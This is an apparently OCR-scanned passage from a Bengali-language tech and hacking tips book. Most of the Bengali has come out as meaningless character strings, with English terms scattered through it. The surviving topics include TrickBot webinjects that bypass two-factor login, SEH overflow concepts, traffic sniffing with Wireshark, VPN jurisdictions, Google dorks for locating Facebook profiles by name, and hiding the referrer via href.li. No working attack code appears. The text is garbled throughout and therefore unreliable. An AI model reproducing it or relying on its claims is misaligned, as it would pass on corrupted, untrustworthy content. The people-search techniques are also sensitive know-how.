QTG AT O (12 QGAE 2 ST QTG RO 4T W1 I
T e e i gIFEs 30N3E GiEAL NeE ]
frcaR | SR, (TG QT @4 ATF ETA %3 @7 (73
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———W391 Sired SfF by W3F

2 FA &G JIB1E34 A6

@ login F4I9 TNY AP e AGART o Seie
(TRIZE @B code ST @BitE 2 FA &C 0| SE T
T AP AR HAPISTC e I T8 YT (ARG IR
code #Iitd 7, T2 AT GFECT login Face AFE 71| T8,
O QIR SRFIH G| IR [FOrE Ao 2 FA @ i
f40e Y- 12 [EER ASSF D FA6AT| O, A @
Feifee Swegel M g S9ear |1 992, TrickBot s
TSI AV vz el

TrickBot Sierezi A4Ree GF qHETE BIeis Fed ACH|
TrickBot @@l si@® Fesita XML 513caw «ai file i)
«F ey g FF SIIBnT o1, [P aigst w3 webinject
type ¢T3l AMCF | G SERAIRBT (I QFBCS AT FA0S 1T
TrickBot G712 SEERAIZET ol (MATS FFeT SRINZB AT
I M@ O PR IR SN GACT aF0

notification IT Y= W=FICF login FCe I A1 oA
Y HAPTSIE e login -« 5 T, ©XF W ST
(e A YIPICAT FICRI (1R ANEAC My IFF TL o4

F QFTECH |0gin FACS BIRCF, TUF NN (TR QF 2

FA @C SO YBIEE d56 SEINIE AN FI2 (T3
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———W391 Sired SfF by W3F

code fo1ite I S @R A AT 12 code 5t AR
FFET IR Q9T YFE @2 code e Sowe s

QFTSCT login FAE IR WA QFICT (AT ©OF e
GFTSTH BT A3 e

QAFE FFe STIIARGT LT e STAINR67-2 o1 o7l
AF| ©R, ALS @ ANLF L& AMeT AW | ©F, AR
PifeeRT c=rifeead oy analysis s Adw @@ FaC©
AR ©fF, ARG G WE, AN I Sz e
@I A S EIA SRR GFew 7R Pifeeb
NEIECE Y| (M|
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———W391 Sired SfF by W3F

Error 7768 Z/38°

&3 2(&- AW error M T 341 =2

O TGS error @Al Mreg A& a&= A Jhe
wHeed EH (error handler) s coiam tss; A9 Fie
MR- error AN o6, I @I error @A @G- @Ol
AR ool e EH @3 St (73; v2w Windows
G SEH 91 (Al (312 error Aeltie St |
92 SEH i FA0e12 IS0 F6T I YIFICEF A |

# BPCO AAICE T N0 (I

Feoe wcel data (2R, e Teonfr) sy, Tt
FITOET FICR ®YR F*0%** @I #*T#** FBqq 370
FPICOIE AT @A 7RACE bit JceT w14, v T bit feer =3 1
byte | @=- 5 8 bit fter gtz 1 byte

> 01001101

o it 1 MB 25t g™t fFaces Titd- seife S
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——139)5 Selres 8f4 by W3F
Nfera= bit <= data SIme-24wis Face <)

e SCenoar

GAF error M T FAT AN A T | SATEHS Ao
IR AFCE 2[R TGS JIHTS A |

RAM @3 gt g9 6 address i, @61 Fee (@@
TR el 7] AT A 1 ]| Wi, IICHICT Sl JroT
FE W, et RAM @9 @i address -@ s
FFOSCES error «tee RAM @3 @39 address -4 =)
oF, Totg IR weaf® @, error & WNENER IS FE
*ESEH**| @¥ **SEH** @q W« (529 PN GF 29 4F
8 Byte @7 %7 element (c2ia™) e, < 2249 4 Byte -«
T ATE 79! element @3 address pointer -, #tz9 4
Byte -« ¢t 4t a5 handler @3 51 %5 @i
@2 address T4 “td, (12 address @3 cioN run FAG|
oz, IIFF IW @3 address “fREY F@ @ TESHIET
address fetd 7, ©IxEE ST @12 WIESTRCE run

PR QR YIFET N1 2/ T4 8 FAE!
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———W391 Sired SfF by W3F

OSSR INIFe

TSI I S TN GG 3| (@ T 927 =Iee

MIT o visflee Qe Jfe MBI 98 [F-@Y e
0o MEARE| [5-@% B a3 I=E oK T4 o FFEoE
IR FARCE O TSI 20TO GHB ETAT (LTS CATE-

Sige cookie Bt | 1 Te FICEIT = *CF Q|

foff gt Tore “MRfRea =1 @, @T cookie fte e =%
T, g a2 IO restart 2 9T [ GO
dfemaz @4 SIvcel s FE6@ restart zcell @I
OB AT GZ (@A e, O fofd gfm . ICOHICE
Fkcookie** =G fordtem| WK, S t{ewE ©id FEACoE
restart 2s7 IF [T TM| KOS GIFGH OF AT

message M SFF- @A F-@% (=iTe IS @ew
TR, GRS (6 QFe F-@0ed firmware 7o @
eafeeeT" | GB1R FoSATR i)

QN FCOET [F-@C, oA oM 0" AAWT SeTwl
ST Feoigd CPU 2iole O3] Qe SIEd Ne4y Seml
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———W391 Sired SfF by W3F

AT SR | 4, @A Mg firmware T 5% caiam s,
@R T SRl ISR FE FE| G4 (FC M

faY ey

firmware caw SFE ®W AN, oixEs fofd  fHfoy
Ao ST FIRIF I firmware 239y Fca e 7w

ORITl, FTE (TR FINF FIEOIFT NCHI8 8 TR0
FPEOIF AR (T3 7ol FEEOIF 20=- P F%| 93 I Fe
(@2 encryption °&fe I[N T, GOR key T Fa @
o g, P I R ERIRER TR I [em oF
(cable) & &4 - @2 ©F TR @G FACQ, O 58
Wireshark @3 Stol Jwosmia IRIT I N FC @R
TR Wi GSM giBtsi communication @i
TRA| WE, FCoEd BIOS mbiE gte BIOS emrene
ARSI THCH (O AT AL S |

7] [ FosmiF Fife Swe IFda a3 o) 58, @12
SFEAT SPFT 8217 W TS FACS BRI SIS NP GICET
IO TF| FPCEI fFeid oIffs, fFeid I F@ @99 Tiece
Y| IR, I tofs Fe0e /1w, fofd Sieros A=
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—— 7291 elceq 839 by MZT
GH< VPN J1_3H ¥

S gieets incognito mode [RIE [T SIS
CTRIZE/SITHICH @19 history 2= 71 58, S7=" 2510
@reizeR (ISP) %2 wME- S @9 @F sEaeTs & S
Tz | @&y VPN 7-29 & =71 VPN IR F90aT A1
2D (ATOIZTIN IR &S 215 1| 58, ¢ 6 ¢ 72i- US,
UK, Australia, New Zealand «a2 Canada it **Five

Eyes** «tw @3t ot Fcace) oimd e VPN
AR Aidige Mgeas [AWe fog w2y **Five Eyes** -&
e g QIEF @ @I MR SiFe [y @@ e W
#**Nine Eyes** «dg *#14 Eyes** o139 FA(T| ©F, 43
e VPN =g« 341 (2t fae 4191 Bfvw
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———W391 Sired SfF by W3F

(RIBTIEI SN FRL NS 7, [=eel| 68, O (F0gF (ol
feteTE A, (72 ST (TRIRCENS (ST A6 TN Y| G727 ZhC!
AN FHCP (RCY IQA-FCAS AL Q0 (FIS BT QTR | 0O
A, ANE (12 I3 (FIGF QT8 |(R| (1R GFCT LH
ColteT3. fAR I AN WK FA o0 AR | IFEE 0o 05

#kerg feb o1l o1t Google b Fepey-e

site:facebook.com inurl:NAME

T NAME @3 SR 2«19 998 7w fereeae) @fb o1 s
A IFF ACIF S (FAF AFSD S| Photos @ e
Y- SR I =) A0e AN i 7w Y& @M @D oeeT
WA A2 AT T GFCT & W AT O eoa oiafe
IR I |

Free oo e ite [ @ral feed Google 1
Fge-H*

inurl:NAME site:facebook.com CT SC
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——139) eelres sf4F by 3w

Tt NAME @3 SN S99 999 %, CT @ Qe 99
QeTI/*1R0ad W%, SC O3 QAT S g9 Flerd A foree
A FP | QAT ST I A SA2AFT IES (FAIF FCT AP
SR (AT G|

©@, WO I IM @TgF Settings @& @ A ©F
GFICD MR S off T AT IR, (@I S JICSIE
S FCA2 OIF QFST 213 1|

GTCHG, (TS > FF AT R (TI-

* N IET W=, BT 29 N (TR T A AR
@Tete member list @ SR g8 GFIEB ¢t AT |

T, A2F I IM TG A, SIFRT FIACT IO BIC IAIA
F(E, OIRCE (O] OfF (FINIF Q1852 AFF 7| FIE, DI (TS
WL S A | ©F8 (BBl F(H (MATS oI 1|

I WAL ¥ | YA IR Swexy Jece 51, "SI IM
OIS (M ¢TSI, S (FIme FAITS e 1y
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———W391 Sired SfF by W3F

3R TN HGO O

RCIEERIEY]

YOBEC IATHAT AT AW BI3cH Fre SHINIGT TN @S2
FACO Ao | ©13, wiq bi3cel Seif" Fre Facebook #itw=
STIIHIRET WIfeTd 0o 2Are!

**Firefox Jreeiea s+ *

Firefox @< fox s =1« f@, Firefox grewitas logo o
PRI WCo! (% =9 @l A, BT SCe (IR0 1) 992, A0
i1 sl gt 7 26 Firefox @3 $e3 (rdte & -

https://www-archive.mozilla.org/projects/firefox/fire
fox-name-faqg.html

WWW | ww7/
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———W391 Sired SfF by W3F

SIRMDT PO WWW FCeTs 55 g SRRARBGT P
WW1, ww2 3oiifn (ate “Aitad| o=l (8 @ed A
comment 3 SFIE|

F GPS @3 <=m

sl fFre GPS a5ezs s GPS s Face afsve
A fIfer ©erla 496 21 020 A GPS W3 &) oelele
cifte s Trump »>.q [ wom wm s W oa fogs
TS AICI-

https://www.gps.gov/policy/funding/2020/#dod-app
rops

4 IR NI BHCGH*

aF AT @A AR- MARCY TR @er v [Tz @2,
A0y DA SR 8.¢ ez @G wiesis e fecar ¢oieet el
qE- T8 FRIFFRAT F&A T@ o.¢ Worw ez T
TR Wb IR LG (IR, FEACHIET TR Frol o

(A0 DCSICR)
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———13915 s 8f9F by W%
Fe¥eraa IS hrefli ALY

O

WA - AN QT SIANLG SR A STIRAIZD
(TALRT A fo1eF o @At «¥ &% IM (18 foneess 5o
T OIRCE ol (FIE BCeT AN | O, (18 AN JICSEA
HTTP Header @3 referrer @t &Fge @&« qAE @,
AN ST AT B0 5 T2 1R e (e e
FEAE

8, S OO BIRES 1 (@, W&F SEIARDG AF oRF
f$F T T I @ SEINRG A ©4F @12 STHINREGA
ferd Gi6T &g a2 ey feag href.li e w6 =)
e At 2R @6 SIIIRGT °o1F| (T2 STNRG [
St @ e o #*Hide the referrer **« fg&< e

href.li T& 1T 1t A1 @ @ Io fores 2ooz-

https://www.facebook.com

&8, href.li /g F<ce o1t 24-

173



——N3q/7 Sred $fAd by M3F
https://href.li/?https://www.facebook.com

@iq hrefli & @F 79 @ @ STING G
STAIAZGT WfATF S ARE T, AT STHIADG (ATFS
O STIITRE AT Tl LACR| A JIowed Iwe https
STIIARG QI ces @6l &= AW = o&, hrefli 3@ o=
[T Faca @ W Q1= T

4, SAE AT YIS Flodd SHIMNIGT T W
href.li TaT 631 9%, [FF S99 Aol o1 ot I med
o1 Siere e =62 AW href.li @9 “itae et A 74 o

copy I, (12 e Feeica foreed IR SRR e =)
RIS

174



———13915 s 8f9F by W%
R I YL SN TNE

AT AR (T AR AT Sfows] IR @R
S (F0@ (I R T ©f /T ST ST SR (=082
IECR| QAR Q3 AOH AN & (FIF AT (TR g
A Ble] IO 2|

ST QGRT EB0 W3 20 (PIAT SAR OB T & Weod
NGNS ST TP -

a9 https://android.com/find @2 =1tF 9t F9 @R
SR @ AFTGTD HIZA 2 F |

AT OFET T AT RHe TARE a2 (T I T
F |

SR YR (T GFET ITTEN ATFIRE A S e
CETFIRTER @ OFISCT AR 2 F2P71|

SR e e Febre Wt @R w ¢ite)

QRGOS AN (FIF @5taTa A for% F1 AFeeT google.com
«q @ find my phone e 3115 w63 @ G Yo (@ Fce A
fRICBHeT (I 61 & FACS A0 |

175




—— 3917 eited 84 by m3w
ST SR I T CoTeT Jeer AN [Fong

S R ST AR (FICE WA S0 AAFICE A RATE
< 90T o9 AT R GIRTE] 30T -

SR SN2 (FE S2es 91 i0S 13 J1 797 o 591
PP

Apple Watch =i=ites g
¢TI e @z Find My Device Siomie sie] q14|

SeE oAt fqw TexE =il wielfw aw Find My

Device 2+ Bie] Ftdq OIRCeT 3 S0 AT Fa2 ST
A W T 08 (@F IO AFE@E | ARTIS AT (IS

Offline Findings S M [ S9HE S12 (FEG (I
FDSANIHE HC FICACFC 1 e ©f YT (@F FAC© A |

176



—— 3917 eited 84 by m3w
ST S1Z Rl 5 51T eer (9 9 G
Find My App €t S5+ |

Device 573 q%i2 34|
o I (i & Device 6 Ficeg <91

AN CFIC 2 IS Sy
Find My App €t S5+ |
Device 577 =2 S|

Seie ey e Device 6 Fieg s+ @ Play Sound
SO0 (@R 9| QTFE AT (T TP A @i [
R | OF @I @6 STCEHF AN FIACBT AT {42 A1

71T QI (RIS fOqd=I e
Find My App €5 S5+ |

Device 577 23 T

s fEeT e Device B Fteg S @3 T Sio1a
(T S=EH (rdte Directions fiteg s+

177



———W391 Sired SfF by W3F

393777

SesItad CPU vy istas i oifet dier Face 2AIeeTs
W AR M OIfBcaE Fe Faco At 58, @12
e TR FCRS WEedd [y v @ Hiites W
RifStaT- RN aorar e S F9 So I27 I G
Qi e a1 WRe T ficace) [fey e wwbere
fRereenE **open source** RETA Fre el orew
QR CTRTE R A YT 341 R Afemaz | 8, T 31
ARG (TS JYIFIT ST ARG M|

P BSF FII (e ?

e T v Tew B fmeas @it **+ethical hacking**
(I BCE, OIS (B AT e 2%l P FCF FoC
YT FACO RN qN| TR, AN (TR G R =S,
FAFOQWIT (@I @8 (T ST | TCEA, SNF SN2 Ol
OIM TFOSTIES Ao O Jifm Metel o}, @
TG & ore Tgd SPAT A0S YT A1 AT 1| SLNE
@I G AFLCICAT WS SR ARG ZFOF AR

178




———W391 Sired SfF by W3F

THoCTRR AT FAE, O YT 341 A | AR, &FF 63
S+t T sififace Fifee T “f7Tee WA QuTe TR =3
T ) YR ©Lq2 I TLF FP[COF FI& AFCH BF FAT IR
ST (ACE FIF FAF T A THR FACO A |

TR, FICOICAT 82T Wl A I FACT YIFI 8T A= 1|
8, Swerat &/8 T fofoe red (=BHhT Fifee T4 7241 ©i3,
FIC(F T2 FACS MCAZ OP Gl ey Fier I [Hre s
11 PR, (18 T @R Fife: @, **+Youtube** fefee
mcd Sofe (Tetel Fce AR el /> T Fifee s,
fog, o=l YIBIg a1 **

179



———W391 Sired SfF by W3F

2 15 &I sq 317 6=

AT RS | SRATNT G OF

IO ANAT \CF AR Tolte (T2 R & Fer 47 @ 2=
QT ZCeTI-

* QAGIGH (@ifF 92

o

* GORIEG (T GFICT (O T |

FEGHANGT QIFH*

OAGNGN (@i TeM0O @RIT- FIAS (VA2 7T 2AxT AARce!
sms Mre A= GAGNGT @R T g F Ao emRe vea
ATR| (S I SE (IS w98 IAATNGH (@IH
SOIRCE, PN (NRIRE SMS e AFE | ATHF (T2 779
@TF SMs S, (12 9740 blacklist @ ioitere =arer sms
oPCe: AFE| FEE, @2 e FAEIE SMS ARIE ©F
(TRIZS x7 dfS e Iwate AFE | TE, QAGNGH @7 QAT
3tvce sfafbe =iz Txaef™ whitelist @ 1t A v T34

blacklist « #ii¥te =7

180



———W391 Sired SfF by W3F

*H GGG (FINIP AFICT**

%ol QAN JGCAF TCHJ SRS (FIHIF FICT COf FI4 el
AR Y9 @O TRl 58, SORET (FIgEF ST 6!
ST - BT SACPE RJCO! T FN| SR (IS IO
A nickname eI «FH S Stz (12 nickname @3
A S ©IF A o1ed Mte “Ataw | o, $yig J15 7 foree
a1y sfawe blank character fetd face o732
QFICT CORET (FIHFF GG BT A | FE, (FC TL O
CATFIZCE (Ao BIIE O ¥Y |oading © U I,
QFECod nickname ¢ife: 20e AR TN #19|

Toa @2 2 B ey icervst ey @R & © fawg @iw <=
w0 AR I 02| TATRWE FICR G T4 0% BT |
IS NG O Q| OCF, NG FAF G 7, I92, 20
ATSTIT T &7 |

181



———W391 Sired SfF by W3F

SR ¥ SAIN35

everest3d

TET GOFCE SRl TN FACS B2 QAT BT FEACHIE
Mg 3D SRR B CH (AUTS A |

fe1s=ms http://www.everest3d.de/

dictation

QAT B S oo g IeEe. SR (TR AT TR
Felefe 20 A

ferews https://dictation.io/

182


http://www.everest3d.de/
http://www.everest3d.de/
http://www.everest3d.de/
https://dictation.io/
https://dictation.io/

———W391 Sired SfF by W3F

Whois

QA M e SrEEEma W BTy Wy e
STTIABC0T VT AW (ATE OF B AT ©F (AT |

fe1ewe https://www.whois.com/

chromeexperiments

CTIEEEIR I (TS BIF? 3 STIIAIRE FITT (TS 2w |

f=1s https://stars.chromeexperiments.com/

Pixabay

350 AT B30 fofve Tieqee F4re AaEw 9« (AT |

f=1ews https://pixabay.com/

183


https://www.whois.com/
https://www.whois.com/
https://www.whois.com/
https://stars.chromeexperiments.com/
https://stars.chromeexperiments.com/
https://stars.chromeexperiments.com/
https://pixabay.com/
https://pixabay.com/

———W391 Sired SfF by W3F

webtopdf

QI B @ SER (ideed PDF qEite w1 ee,
ZBIAG TTIR I3 B (13 S9 (13 (MRS ARG |

f=1ewe https://webtopdf.com/

184


https://webtopdf.com/
https://webtopdf.com/

